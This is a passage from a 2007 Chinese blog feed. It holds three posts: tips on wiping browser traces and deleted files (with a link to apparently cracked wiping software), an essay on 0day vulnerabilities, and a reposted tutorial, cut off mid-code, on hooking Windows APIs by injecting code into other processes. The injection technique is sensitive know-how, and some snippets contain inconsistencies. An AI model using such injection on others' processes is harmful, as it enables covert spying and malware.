Settings\&lt;用户名&gt;\Local Settings\Temporary Internet Files"目录下的全部内容。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;②清除Cookie <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在&#8220;Internet选项&#8221;对话框的&#8220;常规&#8221;标签中单击&#8220;删除Cookies&#8221;按钮，待弹出窗口后单击&#8220;确定&#8221;按钮，可删除Cookie。&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;③消除访问网页的历史记录 <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;删除&#8220;C:\Documents and Settings\用户名\Local Settings\History&#8221;文件夹中的所有内容即可。也可以在Internet选项对话框的&#8220;常规&#8221;标签下点&#8220;清除历史纪录&#8221;按钮。 <br>要让IE不记录访问历史，请在Internet选项对话框的&#8220;常规&#8221;选项下，将网页保存在历史纪录中的天数从默认的20改成0即可。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;④清除IE记住的表单内容 <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;要删除它们，可在&#8220;Internet选项&#8221;对话框的&#8220;内容&#8221;标签下点&#8220;自动完成&#8221;按钮，在弹出的&#8220;自动完成设置&#8221;对话框中将&#8220;表单&#8221;、&#8220;表单上的用户名和密码&#8221;和&#8220;提示我保存密码&#8221;前的钩去掉，再单击&#8220;清除表单&#8221;、&#8220;清除密码&#8221;按钮，当询问时点&#8220;确定&#8221;。&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;⑤删除地址栏列表中的网址 <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在&#8220;Internet选项&#8221;对话框的&#8220;内容&#8221;标签下单击&#8220;自动完成&#8221;按钮，打开&#8220;自动完成&#8221;对话框，去掉&#8220;Web地址&#8221;前的钩，然后按确定。 <br>　　若安装了&#8220;中文网址&#8221;软件，采用上法不能将地址栏列表中的&#8220;网络实名&#8221;清除，此时要在&#8220;Internet选项&#8221;对话框的&#8220;高级&#8221;选项卡下，选中&#8220;网络实名&#8221;中的&#8220;清除地址栏下拉列表中显示的网络实名&#8221;项，单击&#8220;确定&#8221;。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好了，为了干净彻底再清空回收站。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三.关于一些应用程序的痕迹删除可以查找相关的资料，我就不多说了。下面说说大家最害怕的就是自己删除了的文件还会被别人用EasyRecovery等类的恢复工具恢复出蛛丝马迹来。因为普通的文件删除只是删除了文件的在系统中的路径信息。真正的文件还躺在硬盘上面。除非被新的文件覆盖。不然就可以被恢复。有人难免要问：难道有低格硬盘才行吗？其实不用，有专门的工具来除掉这些痕迹。我推荐用CleanDiskSecurity。这个工具比较简单小巧实用。我传上来一个带注册码的。英文版的，不懂就多查查字典。有帮助文档。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用这种工具除痕之后，恢复软件就根本没有希望恢复出你想要永远删除的数据了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下载地址</span><a href="http://www.cppblog.com/Files/saga/CleanDiskSecurity-v7.65.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.cppblog.com/Files/saga/CleanDiskSecurity-v7.65.rar</span></a><span style="FONT-SIZE: 12pt">。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提示一下，对硬盘上空白区域的擦洗处理比较耗时。需要有点耐心。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 好了，以上是自己的一点经验，有什么错误的地方请指出。有更好的方法或是工具请回帖说明，让大家可以更好的交流除痕的方法<img height=20 src="http://www.cppblog.com/Emoticons/QQ/smile.gif" width=20 border=0>。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-------saga.constantine<br></span><br></p>
<img src ="http://www.cppblog.com/saga/aggbug/24566.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-05-21 23:12 <a href="http://www.cppblog.com/saga/archive/2007/05/21/24566.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转贴]什么叫0day漏洞？</title><link>http://www.cppblog.com/saga/archive/2007/05/20/24438.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sun, 20 May 2007 07:20:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/05/20/24438.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/24438.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/05/20/24438.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/24438.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/24438.html</trackback:ping><description><![CDATA[眼下的0Day正引发信息安全新&#8220;地震&#8221;看不见的才是最可怕的<br>　　这就是0Day的真正威胁<br>　　如果你是一家企业的网络安全主管，企业外网的安全代码、脚本分析、环境配置、维护补丁已做到无懈可击，内网防火墙、防病毒、入侵检测、身份认证等硬件设施也齐全完备，从技术手段来讲，似乎没有什么可担心的；但你考虑过你所使用的操作系统、网站平台或其他第三方应用程序，是否存在着某个不为人知的重大漏洞呢？当你发现你的网络已遭入侵，信息已被窃取，查遍所有漏洞数据库和安全补丁资料却不得其解。这时，你考虑过0Day么？<br>　　什么是0Day<br>　　0Day的概念最早用于软件和游戏破解，属于非盈利性和非商业化的组织行为，其基本内涵是&#8220;即时性&#8221;。Warez被许多人误认为是一个最大的软件破解组织，而实际上，Warez如黑客一样，只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前，发布附带着序列号或者解密器的破解版，让使用者可以不用付费就能长期使用。因此，虽然Warez和0Dday都是反盗版的重要打击对象，却同时受到免费使用者和业内同行的推崇。尽管Warez和0Day的拥护者对以此而谋利的盗版商不齿，但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day，正在对信息安全产生越来越严重的威胁。<br>　　信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。<br>　　2005年12月8日，几乎影响Windows所有操作系统的WMF漏洞在网上公开，虽然微软在8天后提前发布了安全补丁（微软的惯例是在每月的第一个周二），但就在这8天内出现了二百多个利用此漏洞的攻击脚本。漏洞信息的公开加速了软件生产企业的安全补丁更新进程，减少了恶意程序的危害程度。但如果是不公开的0Day呢？WMF漏洞公开之前，又有多少人已经利用了它？是否有很多0Day一直在秘密流传？例如，给全球网络带来巨大危害的&#8220;冲击波&#8221;和&#8220;震荡波&#8221;这两种病毒，如果它们的漏洞信息没有公开，自然也就没有这两种超级病毒的产生。反过来想，有什么理由认为眼下不存在类似的有着重大安全隐患的漏洞呢？（Dtlogin远程溢出漏洞于2002年被发现，2004年公布。）<br>　　看不见的才是最可怕的，这就是0Day的真正威胁。<br>　　不可避免的0Day<br>　　信息价值的飞速提升，互联网在全球的普及，数字经济的广泛应用，这一切都刺激着信息安全市场的不断扩大，软件破解、口令解密、间谍软件、木马病毒全部都从早期的仅做研究和向他人炫耀的目的转化为纯商业利益的运作，并迅速地传播开来，从操作系统到数据库，从应用软件到第三方程序和插件，再到遍布全球的漏洞发布中心，看看它们当中有多少0Day存在？可以毫不夸张的说，在安全补丁程序发布之前，所有的漏洞信息都是0Day，但是从未发布过安全补丁的软件是否就意味着它们当中不存在0Day呢？<br>　　有人说：&#8220;每一个稍具规模的应用软件都可能存在0Day。&#8221;没错！从理论上讲，漏洞必定存在，只是尚未发现，而弥补措施永远滞后而已。<br>　　只要用户方不独自开发操作系统或应用程序，或者说只要使用第三方的软件，0Day的出现就是迟早的事，无论你是使用数据库还是网站管理平台，无论你是使用媒体播放器还是绘图工具，即便是专职安全防护的软件程序本身，都会出现安全漏洞，这已是不争的事实，但最可怕的不是漏洞存在的先天性，而是0Day的不可预知性。<br>　　从开源的角度上来说，Linux更容易比封闭源代码的Windows存在更多的0Day。那些自以为使用着安全操作系统的人，迟早会被0Day攻击弄得哑口无言。而微软呢？远有IIS和IE，近有WMF和Excel，由于其操作系统应用的广泛性，如今已是补丁加补丁，更新再更新，最新操作系统Vista竟然含有几万行的问题代码。尚未发行，已是满目疮痍，谁又能保证微软的源代码没有丝毫泄露呢？<br>　　0Day走向何方<br>　　越来越多的破解者和黑客们，已经把目光从率先发布漏洞信息的荣誉感转变到利用这些漏洞而得到的经济利益上，互联网到处充斥着数以万计的充满入侵激情的脚本小子，更不用说那些以窃取信息为职业的商业间谍和情报人员了。于是，0Day有了市场。<br>　　国外两年前就有了0Day的网上交易，黑客们通过网上报价出售手中未公开的漏洞信息，一个操作系统或数据库的远程溢出源码可以卖到上千美元甚至更高；而国内的黑客同行，前不久也在网上建立了一个专门出售入侵程序号称中国第一0Day的网站，尽管类似的提供黑客工具的网站很多，但此网站与其它网站的区别在于0Day的特性十分明显：价格较高的攻击程序的攻击对象，还没有相应的安全补丁，也就是说这样的攻击程序很可能具有一击必中的效果。这个网站成立不久便在搜索引擎中消失了，也许已经关闭，也许转入地下。但不管怎样，0Day带来的潜在经济利益不可抹杀，而其将来对信息安全的影响以及危害也绝不能轻视。<br>　　软件上的0Day几乎不可避免，那硬件呢？硬件是否存在0Day？答案无疑是肯定的。近年来，思科路由器漏洞频繁出现，今年2月，已被曝光的某知名网络产品漏洞至今仍未被修复。对于那些基于IP协议连接网络的路由、网关、交换机，哪个电信运营商敢百分之百地 保证自己的网络设备万无一失？（2005年4月11日，全国超过二十个城市的互联网出现群发性故障；同年7月12日，北京20万ADSL用户断网）。<br>　　早在两年前，英特尔的首席技术官就提出过互联网不能承受与日俱增的使用者这一想法，当时，被很多人认为是无稽之谈。今年6月，在美国的商业圆桌会议上，包括惠普公司、IBM公司、Sun公司、通用汽车公司、家得宝公司和可口可乐公司等在内的160个企业代表呼吁政府要对发生大规模网络故障的可能性做好准备工作&#8230;&#8230;<br>　　当今的互联网，病毒、蠕虫、僵尸网络、间谍软件、DDoS犹如洪水般泛滥，所有的这一切都或多或少地从0Day走过，可以预测，在不远的将来，互联网瘫痪绝不遥远。<br>　　那么政府管理者、电信运营商、安全厂商，还有全世界的互联网用户，面对0Day，我们准备好了吗？
 <img src ="http://www.cppblog.com/saga/aggbug/24438.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-05-20 15:20 <a href="http://www.cppblog.com/saga/archive/2007/05/20/24438.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转载]用户层下拦截系统api的原理与实现</title><link>http://www.cppblog.com/saga/archive/2007/01/22/17891.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 22 Jan 2007 08:49:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/01/22/17891.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/17891.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/01/22/17891.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/17891.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/17891.html</trackback:ping><description><![CDATA[
		<strong>**<font color="#ff0000">转载</font><font color="#000000">**</font><br />**我自己看了看这片文章，还不错！程序也可以编译出来**<br /><br /></strong>
		<span class="tpc_content">
				<font size="2">文章作者：kiki<br />信息来源：邪恶八进制信息安全团队（</font>
				<a href="http://www.eviloctal.com/" target="_blank">
						<font size="2">www.eviloctal.com</font>
				</a>
				<font size="2">）<br />本文章首发</font>
				<a href="http://www.thysea.com/lb/cgi-bin/leobbs.cgi" target="_blank">
						<font color="royalblue" size="2">黑色海岸线网络安全技术论坛</font>
				</a>
				<font size="2">，后由kiki友情提交到邪恶八进制信息安全团队<br /><br />         拦截api的技术有很多种，大体分为用户层和内核层的拦截．这里只说说用户层的拦截．而用户层也分为许多种：修改PE文件导入表，直接修改要拦截的api的内存（从开始到最后，使程序跳转到指定的地址执行）．不过大部分原理都是修改程序流程，使之跳转到你要执行的地方，然后再返回到原地址．原来api的功能必须还能实现．否则拦截就失去作用了．修改文件导入表的方法的缺点是如果用户程序动态加载（使用LoadLibrary和GetProcAddress函数），拦截将变得复杂一些．所以这里介绍一下第二种方法，直接修改api，当然不是全局的．（后面会说到）<br /><br />　　需要了解的一些知识：<br /><br />　　１．windows内存的结构属性和进程地址空间<br /><br />　　２．函数堆栈的一些知识<br /><br /><br /><br />一：win2000和xp的内存结构和进程地址空间<br /><br />  windows采用4GB平坦虚拟地址空间的做法。即每个进程单独拥有4GB的地址空间。每个进程只能访问自己的这4GB的虚拟空间，而对于其他进程的地址空间则是不可见的。这样保证了进程的安全性和稳定性。但是，这4GB的空间是一个虚拟空间，在使用之前，我们必须先保留一段虚拟地址，然后再为这段虚拟地址提交物理存储器。可是我们的内存大部分都还没有1GB，那么这4GB的地址空间是如何实现的呢？事实上windows采用的内存映射这种方法，即把物理磁盘当作内存来使用，比如我们打开一个可执行文件的时候，操作系统会为我们开辟这个4GB的地址空间：0x00000000--0xffffffff。其中0x00000000--0x7fffffff是属于用户层的空间.0x80000000--0xffffffff则属于共享内核方式分区，主要是操作系统的线程调度，内存管理，文件系统支持，网络支持和所有设备驱动程序。对于用户层的进程，这些地址空间是不可访问的。任何访问都将导致一个错误。开辟这4GB的虚拟地址空间之后，系统会把磁盘上的执行文件映射到进程的地址空间中去(一般是在地址0x00400000，可以通过修改编译选项来修改这个地址)而一个进程运行所需要的动态库文件则一般从0x10000000开始加载。但是如果所有的动态库都加载到这个位置肯定会引起冲突。因此必须对一些可能引起冲突的dll编译时重新修改基地址。但是对于所有的操作系统所提供的动态库windows已经定义好了映射在指定的位置。这个位置会随着版本的不同而会有所改变，不过对于同一台机器上的映射地址来说都是一样的。即在a进程里映射的kernel32.dll的地址和在进程b里的kernel32.dll的地址是一样的。对于文件映射是一种特殊的方式，使得程序不需要进行磁盘i/o就能对磁盘文件进行操作，而且支持多种保护属性。对于一个被映射的文件，主要是使用CreateFileMapping函数，利用他我们可以设定一些读写属性:PAGE_READONLY,PAGE_READWRITE,PAGE_WRITECOPY.第一参数指定只能对该映射文件进行读操作。任何写操作将导致内存访问错误。第二个参数则指明可以对映射文件进行读写。这时候，任何对文件的读写都是直接操作文件的。而对于第三个参数PAGE_WRITECOPY顾名思义就是写入时拷贝，任何向这段内存写入的操作(因为文件是映射到进程地址空间的，对这段空间的读写就相当于对文件进行的直接读写)都将被系统捕获，并重新在你的虚拟地址空间重新保留并分配一段内存，你所写入的一切东西都将在这里，而且你原先的指向映射文件的内存地址也会实际指向这段重新分配的内存，于是在进程结束后，映射文件内容并没有改变，只是在运行期间在那段私有拷贝的内存里面存在着你修改的内容。windows进程运行所需要映射的一些系统dll就是以这种方式映射的，比如常用的ntdll.dll,kernel32.dll,gdi32.dll.几乎所有的进程都会加载这三个动态库。如果你在一个进程里修改这个映射文件的内容，并不会影响到其他的进程使用他们。你所修改的只是在本进程的地址空间之内的。事实上原始文件并没有被改变。<br />这样，在后面的修改系统api的时候，实际就是修改这些动态库地址内的内容。前面说到这不是修改全局api就是这个原因，因为他们都是以写入时拷贝的方式来映射的。不过这已经足够了，windows提供了2个强大的内存操作函数ReadProcessMemory和WriteProcessMemory.利用这两个函数我们就可以随便对任意进程的任意用户地址空间进行读写了。但是，现在有一个问题，我们该写什么，说了半天，怎么实现跳转呢？现在来看一个简单的例子：<br />MessageBox(NULL, "World", "Hello", 0);<br />我们在执行这条语句的时候，调用了系统api MessageBox，实际上在程序中我没有定义UNICODE宏，系统调用的是MessageBox的ANSI版本MessageBoxA,这个函数是由user32.dll导出的。下面是执行这条语句的汇编代码：<br />0040102A   push     0<br />0040102C   push     offset string "Hello" (0041f024)<br />00401031   push     offset string "World" (0041f01c)<br />00401036   push     0<br />00401038   call     dword ptr [__imp__MessageBoxA@16 (0042428c)]<br />前面四条指令分别为参数压栈，因为MessageBoxA是__stdcall调用约定，所以参数是从右往左压栈的。最后再CALL 0x0042428c<br /><br />看看0042428c这段内存的值：<br />0042428C 0B 05 D5 77 00 00 00<br />可以看到这个值0x77d5050b,正是user32.dll导出函数MessageBoxA的入口地址。<br /><br />这是0x77D5050B处的内容， <br />77D5050B 8B FF           mov       edi,edi<br />77D5050D 55             push     ebp<br />77D5050E 8B EC           mov       ebp,esp<br />理论上只要改变api入口和出口的任何机器码，都可以拦截该api。这里我选择最简单的修改方法，直接修改api入口的前十个字节来实现跳转。为什么是十字节呢？其实修改多少字节都没有关系，只要实现了函数的跳转之后，你能把他们恢复并让他继续运行才是最重要的。在CPU的指令里，有几条指令可以改变程序的流程：JMP，CALL，INT，RET，RETF，IRET等指令。这里我选择CALL指令，因为他是以函数调用的方式来实现跳转的，这样可以带一些你需要的参数。到这里，我该说说函数的堆栈了。<br /><br />总结：windows进程所需要的动态库文件都是以写入时拷贝的方式映射到进程地址空间中的。这样，我们只能拦截指定的进程。修改目标进程地址空间中的指定api的入口和出口地址之间的任意数据，使之跳转到我们的拦截代码中去，然后再恢复这些字节，使之能顺利工作。<br /><br /><br /><br /><br />二：函数堆栈的一些知识<br /><br />  正如前面所看到MessageBoxA函数执行之前的汇编代码，首先将四个参数压栈，然后CALL MessageBoxA，这时候我们的线程堆栈看起来应该是这样的：<br /><br />|   |   &lt;---ESP<br />|返回地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|..   |<br /><br />我们再看MessageBoxA的汇编代码，<br />77D5050B 8B FF           mov       edi,edi<br />77D5050D 55             push     ebp<br />77D5050E 8B EC           mov       ebp,esp<br />注意到堆栈的操作有PUSH ebp,这是保存当前的基址指针，以便一会儿恢复堆栈后返回调用线程时使用，然后再有mov ebp,esp就是把当前esp的值赋给ebp，这时候我们就可以使用 ebp+偏移 来表示堆栈中的数据，比如参数1就可以表示成[ebp+8]，返回地址就可以表示成[ebp+4]..如果我们在拦截的时候要对这些参数和返回地址做任何处理，就可以使用这种方法。如果这个时候函数有局部变量的话，就通过减小ESP的值的方式来为之分配空间。接下来就是保存一些寄存器：EDI,ESI,EBX.要注意的是，函数堆栈是反方向生长的。这时候堆栈的样子：<br />|....|<br />|EDI| &lt;---ESP<br />|ESI|<br />|EBX|<br />|局部变量| <br />|EBP   |   <br />|返回地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|..   |<br /><br />在函数返回的时候，由函数自身来进行堆栈的清理，这时候清理的顺序和开始入栈的顺序恰恰相反，类似的汇编代码可能是这样的：<br /><br />pop edi<br />pop esi<br />pop ebx<br />add esp, 4<br />pop ebp<br />ret 0010<br />先恢复那些寄存器的值，然后通过增加ESP的值的方式来释放局部变量。这里可以用mov esp, ebp来实现清空所有局部变量和其他一些空闲分配空间。接着函数会恢复EBP的值，利用指令POP EBP来恢复该寄存器的值。接着函数运行ret 0010这个指令。该指令的意思是，函数把控制权交给当前栈顶的地址的指令，同时清理堆栈的16字节的参数。如果函数有返回值的话，那在EAX寄存器中保存着当前函数的返回值。如果是__cdecl调用方式，则执行ret指令，对于堆栈参数的处理交给调用线程去做。如wsprintf函数。<br /><br />这个时候堆栈又恢复了原来的样子。线程得以继续往下执行...<br />在拦截api的过程之中一个重要的任务就是保证堆栈的正确性。你要理清每一步堆栈中发生了什么。<br /><br /><br /><br />三：形成思路<br />  <br />  呵呵，不知道你现在脑海是不是有什么想法。怎么去实现拦截一个api？<br />  这里给出一个思路，事实上拦截的方法真的很多，理清了一个，其他的也就容易了。而且上面所说的2个关键知识，也可以以另外的形式来利用。<br />  我以拦截CreateFile这个api为例子来简单说下这个思路吧：<br />  <br />  首先，既然我们要拦截这个api就应该知道这个函数在内存中的位置吧，至少需要知道从哪儿入口。CreateFile这个函数是由kernel32.dll这个动态库导出的。我们可以使用下面的方法来获取他映射到内存中的地址：<br />  HMODULE hkernel32 = LoadLibrary("Kernel32.dll");<br />  PVOID dwCreateFile = GetProcAddress(hkernei32, "CreateFileA");<br />这就可以得到createfile的地址了，注意这里是获取的createfile的ansic版本。对于UNICODE版本的则获取CreateFileW。这时dwCreateFile的值就是他的地址了。对于其他进程中的createfile函数也是这个地址，前面说过windows指定了他提供的所有的dll文件的加载地址。<br />  <br />  接下来，我们该想办法实现跳转了。最简单的方法就是修改这个api入口处的代码了。但是我们该修改多少呢？修改的内容为什么呢？前面说过我们可以使用CALL的方式来实现跳转，这种方法的好处是可以为你的拦截函数提供一个或者多个参数。这里只要一个参数就足够了。带参数的函数调用的汇编代码是什么样子呢，前面也已经说了，类似与调用MessageBoxA时的代码：<br /><br />PUSH 参数地址<br />CALL 函数入口地址(这里为一个偏移地址)<br /><br />执行这2条指令就能跳转到你要拦截的函数了，但是我们该修改成什么呢。首先，我们需要知道这2条指令的长度和具体的机器代码的值。其中PUSH对应0x68，而CALL指令对应的机器码为0xE8,而后面的则分别对应拦截函数的参数地址和函数的地址。注意第一个是一个直接的地址，而第二个则是一个相对地址。当然你也可以使用0xFF0x15这个CALL指令来进行直接地址的跳转。<br />下面就是计算这2个地址的值了，<br />对于参数和函数体的地址，要分情况而定，对于对本进程中api的拦截，则直接取地址就可以了。对于参数，可以先定义一个参数变量，然后取变量地址就ok了。<br />如果是想拦截其他进程中的api，则必须使用其他一些方法，最典型的方法是利用VirtualAllocEx函数来在其他进程中申请和提交内存空间。然后用WriteProcessMemory来分别把函数体和参数分别写入申请和分配的内存空间中去。然后再生成要修改的数据，最后用WriteProcessMemory来修改api入口，把入口的前10字节修改为刚刚生成的跳转数据。比如在远程进程中你写入的参数和函数体的内存地址分别为0x00010000和0x00011000,则生成的跳转数据为 68 00 00 01 00 E8 00 10 01 00(PUSH 00010000 CALL 00011000),这样程序运行createfile函数的时候将会先运行PUSH 00010000 CALL 00011000，这样就达到了跳转的目的。此刻我们应该时刻注意堆栈的状态，对于CreateFile有<br />HANDLE CreateFile(<br />LPCTSTR lpFileName,<br />DWORD dwDesiredAccess,<br />DWORD dwShareMode,<br />LPSECURITY_ATTRIBUTES lpSecurityAttributes,<br />DWORD dwCreationDisposition,<br />DWORD dwFlagsAndAttributes,<br />HANDLE hTemplateFile<br />);<br />可以看到其有7个参数，于是在调用之前，堆栈应该已经被压入了这7个参数，堆栈的样子：<br />|....|   &lt;---ESP<br />|createfile执行后的下一条指令地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|参数5|<br />|参数6|<br />|参数7|<br />|..|<br /><br />这是执行到我们的跳转语句：PUSH 00010000,于是堆栈又变了：<br /><br />|....|   &lt;---ESP<br />|00010000|<br />|createfile执行后的下一条指令地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|参数5|<br />|参数6|<br />|参数7|<br />|..|<br /><br />接着执行CALL 00011000,堆栈变为：<br />|...| &lt;---ESP<br />|api入口之后的第11个字节的指令的地址|   <br />|00010000|<br />|createfile执行后的下一条指令地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|参数5|<br />|参数6|<br />|参数7|<br />|..|<br /><br />接下来就到了我们的拦截函数中拉，当然，函数肯定也会做一些类似动作，把EBP压栈，为局部变量分配空间等。这时候堆栈的样子又变了：<br /><br />|EDI| &lt;---ESP<br />|ESI|<br />|EBX|<br />|局部变量| <br />|EBP|   &lt;---EBP<br />|api入口之后的第11个字节的指令的地址|   <br />|00010000|<br />|createfile执行后的下一条指令地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|参数5|<br />|参数6|<br />|参数7|<br />|..|<br /><br />这时候，你想做什么就尽情地做吧，获取参数信息，延缓执行CreateFile函数等等。拿获取打开文件句柄的名字来说吧，文件名是第一个参数，前面说过我们可以用[EBP+8]来获取参数，但是对照上面的堆栈形状，中间又加了另外一些数据，所以我们用[EBP+16]来获取第一个参数的地址。比如：<br />char* PFileName = NULL;<br />__asm{<br />MOV EAX,[EBP+16]<br />MOV [szFileName], EAX<br />}<br /><br />比如我们用一个messagebox来弹出一个信息，说明该程序即将打开一个某谋路径的文件句柄。但是有一个要注意的是，如果你想拦截远程进程的话，对于那个拦截函数中所使用到的任何函数或者以任何形式的相对地址的调用都要停止。因为每个进程中的地址分配都是独立的，比如上面的CALL MessageBoxA改成直接地址的调用。对于使用messagebox，我们应该定义一个函数指针，然后把这个指针的值赋值为user32.dll中导出该函数的直接地址。然后利用这个指针来进行函数调用。对于messagebox函数的调用可以这样，在源程序中定义一个参数结构体，参数中包含一个导出函数的地址,把这个地址设为MessageBoxA的直接地址，获取地址的方法就不说了。然后把这个参数传给拦截函数，就可以使用拉。这也是利用一个参数的原因。类似代码如下：<br /><br /><br />typedef struct _RemoteParam {<br />  DWORD dwMessageBox;<br />} RemoteParam, * PRemoteParam;<br /><br />typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);//定义一个函数指针<br /><br />//拦截函数<br />void HookCreateFile(LPVOID lParam)<br />{<br />RemoteParam* pRP = (RemoteParam*)lParam;//获取参数地址<br />char* PFileName = NULL;//定义一个指针<br />__asm{<br />MOV EAX,[EBP+16]<br />MOV [szFileName], EAX //把CreateFile第一个参数的值，文件的路径的地址传               //给szFileName<br />}<br /><br />//定 义一个函数指针<br />PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP-&gt;dwMessageBox;<br /><br />pfnMessageBox(NULL, PFileName, PFileName, MB_ICONINFORMATION |MB_OK);<br />//输出要打开的文件的路径<br />//.....<br />}<br /><br />对于你要使用的其他函数，都是使用同样的方式，利用这个参数来传递我们要传递的函数的绝对地址，然后定义这个函数指针，就可以使用了。<br /><br /><br />好了，接下来我们该让被拦截的api正常工作了，这个不难，把他原来的数据恢复一下就可以了。那入口的10个字节。我们在改写他们的时候应该保存一下，然后也把他放在参数中传递给拦截函数，呵呵，参数的作用可多了。接着我们就可以用WriteProcessMemory函数来恢复这个api的入口了，代码如下：<br />PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP-&gt;dwGetCurrentProcess;<br />PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP-&gt;dwWriteProcessMemory;<br />  <br />if(!pfnWriteProcessMemory(pfnGetCurrentProcess(),<br />                            (LPVOID)pfnConnect,<br />                            (LPCVOID)pRP-&gt;szOldCode,<br />                            10,<br />                            NULL))<br />pfnMessageBox(NULL, pRP-&gt;szModuleName1, pRP-&gt;szModuleName2, MB_ICONINFORMATION | MB_OK);<br />其中这些函数指针的定义和上面的类似。<br />而参数中的szoldcode则是在源程序中在修改api之前保存好，然后传给拦截函数，在源程序中是用ReadProcessMemory函数来获取他的前10个字节的：<br />ReadProcessMemory(GetCurrentProcess(),<br />                      (LPCVOID)RParam.dwCreateFile,<br />                      oldcode,<br />                      10,<br />                      &amp;dwPid)<br />strcat((char*)RParam.szOldCode, (char*)oldcode);<br /><br /><br />接下来如果你还继续保持对该api的拦截，则又该用WriteProcessMemory 来修改入口了，跟前面的恢复入口是一样的，只不过把szOldCode换成了szNewCode了而已。这样你又能对CreateFile继续拦截了。<br /><br />好了，接下来该进行堆栈的清理了，也许你还要做点其他事情，尽管做去。但是清理堆栈是必须要做的，在函数结束的时候，因为在我们放任api恢复执行之后，他又return 到我们的函数中来了，这个时候的堆栈是什么样子呢？<br />|EDI| &lt;---ESP<br />|ESI|<br />|EBX|<br />|局部变量| <br />|EBP|   &lt;---EBP<br />|api入口之后的第11个字节的指令的地址|   <br />|00010000|<br />|createfile执行后的下一条指令地址|<br />|参数1|<br />|参数2|<br />|参数3|<br />|参数4|<br />|参数5|<br />|参数6|<br />|参数7|<br />|..|<br /><br />我们的目标是把返回值记录下来放到EAX寄存器中去，把返回地址记录下来，同时把堆栈恢复成原来的样子。<br />首先我们恢复那些寄存器的值，接着释放局部变量，可以用mov esp, ebp.因为我们不清楚具体的局部变量分配了多少空间。所以使用这个方法。<br /><br /><br />__asm<br />{POP EDI<br />POP ESI<br />POP EBX   //恢复那些寄存器<br />MOV EDX, 